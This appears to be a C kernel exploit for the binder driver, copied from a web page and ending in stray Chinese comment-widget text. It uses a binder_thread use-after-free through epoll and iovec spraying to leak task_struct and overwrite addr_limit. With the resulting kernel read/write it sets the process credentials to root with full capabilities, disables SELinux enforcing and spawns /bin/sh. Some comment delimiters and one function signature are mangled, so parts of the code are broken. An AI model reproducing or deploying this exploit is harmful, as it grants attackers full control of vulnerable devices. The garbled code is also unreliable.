#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdint.h>
void *dummy_page; uint64_t task_struct_kptr, task_pid_kptr, task_cred_kptr, task_init_nsproxy_kptr, cred_kptr, init_nsproxy_kptr, kbase; static char pipe_read_buffer[PAGE_SIZE]; int sock_fd[2]; int krw_pipe[2]; uint32_t read_pid; int nBytesRead, nBytesWritten, binder_fd, epoll_fd, pipe_fd[2]; struct epoll_event event = {.events = EPOLLIN};
/* if you have ARM64 kernel comment X86_OFFSET and uncomment ARM_OFFSET */ //#define ARM_OFFSET 1
#define X86_OFFSET 1
#define IOVEC_SIZE 25
#define READ_PIPE pipe_fd[0]
#define WRITE_PIPE pipe_fd[1]
#define RECVMSG_SOCK sock_fd[0]
#define WRITE_SOCK sock_fd[1]
#define KREAD_PIPE krw_pipe[0]
#define KWRITE_PIPE krw_pipe[1]
#define BINDER_THREAD_EXIT 0x40046208ul
#define PIPE_READ_KPTR_OFFSET 0xE8
#define TASK_STRUCT_PID_OFFSET 0x4E8
#define TASK_STRUCT_CRED_OFFSET 0x688
#define TASK_STRUCT_NSPROXY_OFFSET 0x6C0
#define CRED_UID_OFFSET 0x4
#define CRED_GID_OFFSET 0x8
#define CRED_SUID_OFFSET 0xC
#define CRED_SGID_OFFSET 0x10
#define CRED_EUID_OFFSET 0x14
#define CRED_EGID_OFFSET 0x18
#define CRED_FSUID_OFFSET 0x1C
#define CRED_FSGID_OFFSET 0x20
#define CRED_SECUREBITS_OFFSET 0x24
#define CRED_CAP_INHERITABLE_OFFSET 0x28
#define CRED_CAP_PERMITTED_OFFSET 0x30
#define CRED_CAP_EFFECTIVE_OFFSET 0x38
#define CRED_CAP_BSET_OFFSET 0x40
#define CRED_CAP_AMBIENT_OFFSET 0x48
#define GLOBAL_ROOT_UID 0
#define GLOBAL_ROOT_GID 0
#define SECUREBITS_DEFAULT 0x00000000
#define CAP_EMPTY_SET 0
#define CAP_FULL_SET 0x3FFFFFFFFF
// this values may be different in your kernel image // look at your symbol table
// System.map: // ffffffff81433ab0 D init_nsproxy
// 0xffffffff81433ab0 - 0xffffffff80200000
#define SYMBOL_OFFSET_INIT_NSPROXY 0x1233800
// System.map: // ffffffff816a9fe8 B selinux_enforcing
// 0xffffffff816a9fe8 - 0xffffffff80200000
#define SYMBOL_OFFSET_SELINUX_ENFORCING 0x14AA000
#ifdef X86_OFFSET
#define ADDR_LIMIT_OFFSET 0xA18
#endif
#ifdef ARM_OFFSET
#define ADDR_LIMIT_OFFSET 0x8
#endif
/* index equivalent to the iovec which overlaps the wait struct */
#define IOVEC_OVERLAP_INDEX 10
/* * every iovec is 16 bytes long * binder_thread is 408 bytes * so 400 as allocating size * for the heap spray is ok */ struct iovec iovec[25] = {0};
/* needed to trigger the unlink */ int epoll_alloc() { epoll_fd = epoll_create(0x41); return 0; }
/* needed to trigger the unlink */ int epoll_link() { epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event); return 0; }
/* writes a kernel pointer to binder_thread->wait.head, to binder_thread->wait.head.next and binder_thread->wait.head.prev */ int unlink_kptr_write() { epoll_ctl(epoll_fd, EPOLL_CTL_DEL, binder_fd, &event); return 0; }
/* free binder_thread struct */ int binder_thread_free() { ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); return 0; }
int open_binder() { binder_fd = open("/dev/binder", O_RDONLY); return 0; }
void *map_dummy_page() { return mmap((void *)0x100000000ul, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); }
void prepare_rw_pipe() { if( pipe(krw_pipe) ) {
printf("\t[-] failed to create the pipes for stable r/w\n");
exit(-1); } else {
printf("\t[+] successfully created the pipes for stable r/w\n"); } }
void task_struct_leak() { printf("\t[+] opening /dev/binder\n"); open_binder();
printf("\t[+] allocating epoll\n"); epoll_alloc();
printf("\t[+] linking epoll\n"); epoll_link();
printf("\t[+] setting up a pipe\n"); if( pipe(pipe_fd) ) {
printf("\t[-] failed to allocate a pipe\n");
exit(-1); }
printf("\t[+] changing pipe size to 0x1000\n"); if (fcntl(READ_PIPE, F_SETPIPE_SZ, PAGE_SIZE) == -1) {
printf("\t[-] unable to change the pipe capacity\n");
exit(-1); }
/* used later to unblock the write and avoid deadlocking */ printf("\t[+] allocating the dummy page\n"); dummy_page = map_dummy_page();
if(!dummy_page) {
printf("\t[-] unable to mmap the dummy page\n");
exit(-1); }
printf("\t[+] crafting iovecs to leak task_struct\n"); iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page; iovec[IOVEC_OVERLAP_INDEX].iov_len = PAGE_SIZE; iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141; iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = PAGE_SIZE;
pid_t child = fork();
/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail / if (!child) {
/ used to avoid race conditions */
sleep(2);
/* trigger the unlink to write the address of binder_thread->wait.head (offset 0xa8) to iovec[11].iov_base */
unlink_kptr_write();
/* dummy read */
nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));
if (nBytesRead != PAGE_SIZE) {
printf("\t[-] child failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
exit(-1);
}
close(WRITE_PIPE);
exit(0); }
/* free binder_thread struct */ binder_thread_free();
/* reallocates binder_thread with iovecs */ nBytesWritten = writev(WRITE_PIPE, iovec, IOVEC_SIZE);
/* writev() returns the size of the valid iovecs, we only provided two valid iovecs with size PAGE_SIZE */ if(nBytesWritten != PAGE_SIZE * 2) {
printf("\t[-] something went wrong, writev() returned 0x%x\n", nBytesWritten);
exit(-1); }
/* iovec[11].iov_base has been overwritten with a kernel pointer at binder_thread + 0xa8 so when the kernel start processing it to read the contents from it to give them to userspace it will read contents from the address at binder_thread + 0xA8 */ nBytesRead = read(READ_PIPE, pipe_read_buffer, sizeof(pipe_read_buffer));
if (nBytesRead != PAGE_SIZE) {
printf("\t[-] parent failed to read dummy data: 0x%x instead of 0x%x", nBytesRead, PAGE_SIZE);
exit(-1); }
wait(0);
/* the task_struct kptr is at offset 0xE8 */ task_struct_kptr = *(uint64_t *)(pipe_read_buffer + PIPE_READ_KPTR_OFFSET); task_pid_kptr = task_struct_kptr + TASK_STRUCT_PID_OFFSET; task_cred_kptr = task_struct_kptr + TASK_STRUCT_CRED_OFFSET; printf("\t[+] leaked task_struct kernel pointer: 0x%lx\n", task_struct_kptr); printf("\t[+] task_struct->pid @ 0x%lx\n", task_pid_kptr); printf("\t[+] task_struct->cred @ 0x%lx\n", task_cred_kptr); }
/* arbitrary write used to overwrite addr_limit */ void addr_limit_overwrite() { /*printf("\t[+] opening /dev/binder\n"); open_binder();
printf("\t[+] allocating epoll\n"); epoll_alloc();*/
/* needed to trigger the unlink */ printf("\t[+] linking epoll\n"); epoll_link();
if(!dummy_page) {
printf("\t[-] dummy page is NULL\n");
exit(-1); }
printf("\t[+] crafting socket data\n");
/* this is so important, this will overwrite iovecs (from iovec[10].iov_len to iovec[12].iov_len), we can achieve an arbitrary write by overwriting iovec[12].iov_base with the address we wanna write to and its iov_len with the size of the copy, so that when it’ll be processed iovec[12].iov_len of data will be copied to its iov_base (that’s how iovecs processing works) */ unsigned long final_sock_data[] = {
0x1, // iovec[IOVEC_OVERLAP_INDEX].iov_len
0x41414141, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_base
0x8 + 0x8 + 0x8 + 0x8, // iovec[IOVEC_OVERLAP_INDEX + 1].iov_len
task_struct_kptr + ADDR_LIMIT_OFFSET, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_base
0x8, // iovec[IOVEC_OVERLAP_INDEX + 2].iov_len
0xFFFFFFFFFFFFFFFE // addr_limit value to write };
printf("\t[+] crafting iovecs which are gonna be overwrote later\n"); iovec[IOVEC_OVERLAP_INDEX].iov_base = dummy_page; iovec[IOVEC_OVERLAP_INDEX].iov_len = 1; iovec[IOVEC_OVERLAP_INDEX + 1].iov_base = (void *) 0x41414141; iovec[IOVEC_OVERLAP_INDEX + 1].iov_len = 0x8 + 0x8 + 0x8 + 0x8; iovec[IOVEC_OVERLAP_INDEX + 2].iov_base = (void *) 0x42424242; iovec[IOVEC_OVERLAP_INDEX + 2].iov_len = 0x8;
/* garbage data */ char garbage_data[] = { 0x41 };
printf("\t[+] setting up a socketpair\n"); if( socketpair(AF_UNIX, SOCK_STREAM, 0, sock_fd) == -1 ) {
printf("\t[-] failed to create socketpair\n");
exit(-1); }
/* needed to “init” recvmsg() */ printf("\t[+] writing garbage to the socket\n"); nBytesWritten = write(WRITE_SOCK, &garbage_data, sizeof(garbage_data));
if(nBytesWritten != sizeof(garbage_data)) {
printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(garbage_data));
exit(-1); }
pid_t child = fork();
/* while the parent process frees and reallocates the binder_thread struct, we trigger the unlink to write the task_struct kernel pointer to the iovec, and read dummy data to unlock writev(), otherwise the spray will fail / if (!child) {
/ used to avoid race conditions */
sleep(2);
/* writes iovec[10].iov_len address to itself and iovec[11].iov_base, so
now iovec[11].iov_base points to iovec[10].iov_len, which means that when it'll be processed
it'll start overwriting the iovecs with socket data */
unlink_kptr_write();
/* now all iovecs will be processed, but since the unlink overwrote iovec[11].iov_base with the address
of iovec[10].iov_len, when processing of iovec[11] will start, socket data will be written to iovec[10].iov_len
this will overwrite iovec[12].iov_base and iovec[12].iov_len with socket data, respectively the address of
addr_limit and 0x8 (since we wanna write 8 bytes to addr_limit).
so after iovec[11]'s processing finished, and iovecs have been overwritten, it'll start processing iovec[12]
but since its iov_base has been overwritten with addr_limit address, data (last field of socket data) will be written there */
nBytesWritten = write(WRITE_SOCK, final_sock_data, sizeof(final_sock_data));
/* ensures that the write has been correctly done */
if (nBytesWritten != sizeof(final_sock_data)) {
printf("\t[-] write() returned 0x%x instead of 0x%lx\n", nBytesWritten, sizeof(final_sock_data));
exit(-1);
}
exit(0); }
/* free binder_thread struct which is gonna be reallocated by the child’s write() */ binder_thread_free();
struct msghdr message = {0}; message.msg_iov = iovec; message.msg_iovlen = IOVEC_SIZE;
/* this reallocates the binder_thread struct with our iovecs */ int received_bytes_addr_limit = recvmsg(RECVMSG_SOCK, &message, MSG_WAITALL);
int expected_bytes_addr_limit = iovec[IOVEC_OVERLAP_INDEX].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 1].iov_len +
iovec[IOVEC_OVERLAP_INDEX + 2].iov_len;
/* as we done in the leak part, the received bytes should match the sum of the size of all valid iovecs, in this case we have 3 valid iovecs */ if(received_bytes_addr_limit != expected_bytes_addr_limit) {
printf("\t[-] recvmsg() wasn’t able to overwrite addr_limit: returned 0x%x instead of 0x%x\n", received_bytes_addr_limit, expected_bytes_addr_limit);
exit(-1); } wait(0); printf("\t[+] overwrote addr_limit with 0xFFFFFFFFFFFFFFFE\n"); }
int kwrite(uint64_t kaddr, void* user_value, size_t size) { /* doing this to avoid possible issues / if(size > 0x1000) {
printf("\t[-] writing more than a kernel page can cause issues\n"); } / writes user’s value to pipe / if( write(KWRITE_PIPE, user_value, size) == -1 ) {
printf("\t[-] failed to write the value to the pipe\n");
return -1; } / writes the user’s value we wrote to the pipe to the kaddr */ if( read(KREAD_PIPE, (void *)kaddr, size) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }
int kread(uint64_t kaddr, void user_value, size_t size) { / doing this to avoid possible issues / if(size > 0x1000) {
printf("\t[-] reading more than a kernel page can cause issues\n"); } / writes kernel data to pipe / if( write(KWRITE_PIPE, (void)kaddr, size) != size ) {
printf("\t[-] failed to read kernel data\n");
return -1; } /* writes the value we wrote to the pipe to the kaddr */ if( read(KREAD_PIPE, user_value, size) != size ) {
printf("\t[-] failed to read data back to userspace\n");
return -1; } return 0; }
int kwrite64(uint64_t kaddr, uint64_t value) { if( kwrite(kaddr, &value, 8) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }
uint64_t kread64(uint64_t kaddr) { uint64_t read_value; if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to write to read memory\n");
return -1; } return read_value; }
int kwrite32(uint64_t kaddr, uint32_t value) { if( kwrite(kaddr, &value, 4) == -1 ) {
printf("\t[-] failed to write to kernel memory\n");
return -1; } return 0; }
uint64_t kread32(uint64_t kaddr) { uint32_t read_value; if( kread(kaddr, &read_value, sizeof(read_value)) == -1) {
printf("\t[-] failed to read to read memory\n");
return -1; } return read_value; }
void krw_test() { pid_t current_pid = getpid(); printf("\t[+] reading the pid @ 0x%lx\n", task_pid_kptr); if( (read_pid = kread64(task_pid_kptr)) == -1) {
printf("\t[-] failed to read the task_struct->pid: returned %d\n", read_pid);
exit(-1); } printf("\t[+] task_struct->pid: 0%d\n", read_pid); printf("\t[+] getpid(): %d\n", current_pid); }
void kernel_cred_patch() { printf("\t[+] reading cred pointer from task_struct\n"); cred_kptr = kread64(task_cred_kptr);
/* basically commit_cred(prepare_kernel_cred(0)); */ kwrite32(cred_kptr + CRED_UID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_GID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_SUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_SGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_EUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_EGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_FSUID_OFFSET, GLOBAL_ROOT_UID); kwrite32(cred_kptr + CRED_FSGID_OFFSET, GLOBAL_ROOT_GID); kwrite32(cred_kptr + CRED_SECUREBITS_OFFSET, SECUREBITS_DEFAULT); kwrite64(cred_kptr + CRED_CAP_INHERITABLE_OFFSET, CAP_EMPTY_SET); kwrite64(cred_kptr + CRED_CAP_PERMITTED_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_EFFECTIVE_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_BSET_OFFSET, CAP_FULL_SET); kwrite64(cred_kptr + CRED_CAP_AMBIENT_OFFSET, CAP_EMPTY_SET); }
/* this part has to be tuned for the target */ void disable_selinux_enforcing() { printf("\t[+] reading init_nsproxy pointer from task_struct\n"); init_nsproxy_kptr = kread64(task_init_nsproxy_kptr);
kbase = init_nsproxy_kptr - SYMBOL_OFFSET_INIT_NSPROXY; printf("\t[+] kernel base: 0x%lx\n", kbase);
uint64_t selinux_enforcing_kptr = kbase + SYMBOL_OFFSET_SELINUX_ENFORCING; int ret = kread32(selinux_enforcing_kptr); if( ret && ret != -1 ) {
printf("\t[+] SELinux enforcing is enabled\n");
if( !kwrite32(selinux_enforcing_kptr, 0x0) ) {
printf("\t[+] successfully disabled SELinux enforcing\n");
} } else if(ret == 0) {
printf("\t[+] SELinux enforcing is disabled\n"); } }
int main() { printf("[*] STAGE 1: task_struct leak\n"); task_struct_leak();
printf("[*] STAGE 2: overwrite addr_limit with 0xFFFFFFFFFFFFFFFE\n"); addr_limit_overwrite();
printf("[*] STAGE 3: preparing pipes for stable r/w\n"); prepare_rw_pipe();
printf("[*] STAGE 3: testing out stable r/w primitives\n"); krw_test();
printf("[*] STAGE 4: patching cred struct\n"); kernel_cred_patch();
printf("[*] STAGE 5: disable SELinux enforcing\n"); disable_selinux_enforcing();
system("/bin/sh");
return 0; }
7282
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
